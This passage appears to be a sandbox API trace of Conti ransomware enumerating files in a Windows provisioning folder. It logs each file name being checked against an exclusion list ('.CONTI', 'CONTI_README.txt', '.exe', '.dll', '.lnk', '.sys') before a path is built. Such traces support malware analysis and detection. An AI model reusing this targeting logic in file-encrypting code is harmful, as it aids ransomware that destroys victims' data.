	[0107.467] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.467] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0107.467] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905691e4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905691e4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905691e4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c4, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml", cAlternateFileName="138__C~1.PRO")) returned 1
	[0107.467] lstrcmpiW (lpString1="138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.467] lstrcmpiW (lpString1="138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.467] StrStrIW (lpFirst="138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.467] StrStrIW (lpFirst="138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.467] StrStrIW (lpFirst="138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.467] StrStrIW (lpFirst="138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.467] StrStrIW (lpFirst="138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.467] StrStrIW (lpFirst="138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.467] StrStrIW (lpFirst="138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.467] StrStrIW (lpFirst="138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.468] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.468] lstrlenW (lpString="138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml") returned 70
	[0107.468] GetProcessHeap () returned 0x1720000
	[0107.468] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x17d0a58
	[0107.468] lstrcpyW (in: lpString1=0x17d0a58, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.468] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.468] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml"
	[0107.468] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9058f44f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9058f44f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9058f44f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ce, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml", cAlternateFileName="139__C~1.PRO")) returned 1
	[0107.468] lstrcmpiW (lpString1="139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.468] lstrcmpiW (lpString1="139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.468] StrStrIW (lpFirst="139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.468] StrStrIW (lpFirst="139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.468] StrStrIW (lpFirst="139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.468] StrStrIW (lpFirst="139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.468] StrStrIW (lpFirst="139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.468] StrStrIW (lpFirst="139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.468] StrStrIW (lpFirst="139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.468] StrStrIW (lpFirst="139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.468] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.468] lstrlenW (lpString="139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml") returned 65
	[0107.468] GetProcessHeap () returned 0x1720000
	[0107.468] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x17bcbc8
	[0107.468] lstrcpyW (in: lpString1=0x17bcbc8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.468] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.468] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml"
	[0107.468] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9013ce1d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9013ce1d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9013ce1d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c6, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml", cAlternateFileName="13__CO~1.PRO")) returned 1
	[0107.468] lstrcmpiW (lpString1="13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.468] lstrcmpiW (lpString1="13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.468] StrStrIW (lpFirst="13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.468] StrStrIW (lpFirst="13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.468] StrStrIW (lpFirst="13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.469] StrStrIW (lpFirst="13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.469] StrStrIW (lpFirst="13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.469] StrStrIW (lpFirst="13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.469] StrStrIW (lpFirst="13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.469] StrStrIW (lpFirst="13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.469] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.469] lstrlenW (lpString="13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml") returned 66
	[0107.469] GetProcessHeap () returned 0x1720000
	[0107.469] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x17c9e20
	[0107.469] lstrcpyW (in: lpString1=0x17c9e20, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.469] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.469] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml"
	[0107.469] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9058f44f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9058f44f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9058f44f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34e, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml", cAlternateFileName="140__C~1.PRO")) returned 1
	[0107.469] lstrcmpiW (lpString1="140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.469] lstrcmpiW (lpString1="140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.469] StrStrIW (lpFirst="140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.469] StrStrIW (lpFirst="140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.469] StrStrIW (lpFirst="140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.469] StrStrIW (lpFirst="140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.469] StrStrIW (lpFirst="140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.469] StrStrIW (lpFirst="140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.469] StrStrIW (lpFirst="140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.469] StrStrIW (lpFirst="140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.469] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.469] lstrlenW (lpString="140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml") returned 65
	[0107.469] GetProcessHeap () returned 0x1720000
	[0107.469] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x17bcd08
	[0107.469] lstrcpyW (in: lpString1=0x17bcd08, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.469] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.469] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml"
	[0107.470] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9058f44f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9058f44f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9058f44f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x356, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml", cAlternateFileName="141__C~1.PRO")) returned 1
	[0107.470] lstrcmpiW (lpString1="141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.470] lstrcmpiW (lpString1="141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.470] StrStrIW (lpFirst="141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.470] StrStrIW (lpFirst="141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.470] StrStrIW (lpFirst="141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.470] StrStrIW (lpFirst="141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.470] StrStrIW (lpFirst="141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.470] StrStrIW (lpFirst="141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.470] StrStrIW (lpFirst="141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.470] StrStrIW (lpFirst="141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.470] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.470] lstrlenW (lpString="141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml") returned 65
	[0107.470] GetProcessHeap () returned 0x1720000
	[0107.470] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x17bce48
	[0107.470] lstrcpyW (in: lpString1=0x17bce48, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.470] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.470] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml"
	[0107.470] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9058f44f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9058f44f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9058f44f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34a, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml", cAlternateFileName="142__C~1.PRO")) returned 1
	[0107.470] lstrcmpiW (lpString1="142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.470] lstrcmpiW (lpString1="142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.470] StrStrIW (lpFirst="142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.470] StrStrIW (lpFirst="142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.470] StrStrIW (lpFirst="142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.470] StrStrIW (lpFirst="142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.470] StrStrIW (lpFirst="142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.470] StrStrIW (lpFirst="142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.470] StrStrIW (lpFirst="142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.470] StrStrIW (lpFirst="142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.470] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.470] lstrlenW (lpString="142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml") returned 65
	[0107.471] GetProcessHeap () returned 0x1720000
	[0107.471] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x17bd210
	[0107.471] lstrcpyW (in: lpString1=0x17bd210, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.471] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.471] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml"
	[0107.471] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9058f44f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9058f44f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9058f44f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x346, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml", cAlternateFileName="143__C~1.PRO")) returned 1
	[0107.471] lstrcmpiW (lpString1="143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.471] lstrcmpiW (lpString1="143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.471] StrStrIW (lpFirst="143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.471] StrStrIW (lpFirst="143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.471] StrStrIW (lpFirst="143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.471] StrStrIW (lpFirst="143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.471] StrStrIW (lpFirst="143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.471] StrStrIW (lpFirst="143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.471] StrStrIW (lpFirst="143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.471] StrStrIW (lpFirst="143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.471] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.471] lstrlenW (lpString="143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml") returned 65
	[0107.471] GetProcessHeap () returned 0x1720000
	[0107.471] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x17bd350
